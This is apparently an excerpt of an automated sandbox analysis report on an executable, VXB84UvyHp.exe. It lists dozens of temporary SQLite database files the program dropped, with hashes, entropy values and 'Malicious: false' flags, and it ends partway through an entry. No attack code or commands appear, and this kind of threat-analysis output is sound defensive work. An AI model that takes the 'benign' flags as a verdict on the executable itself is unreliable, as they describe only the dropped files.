Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Temp\tmp2586.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2597.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp25A7.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp25B8.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp25D8.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp487F.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4880.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5BCE.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5BEE.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5BFF.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5C0F.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5C20.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5C30.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp801B.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp802C.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp803C.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp804D.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp805D.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp806E.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp807F.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp91B9.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp91BA.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp91DA.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp91EA.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp91FB.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp920C.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
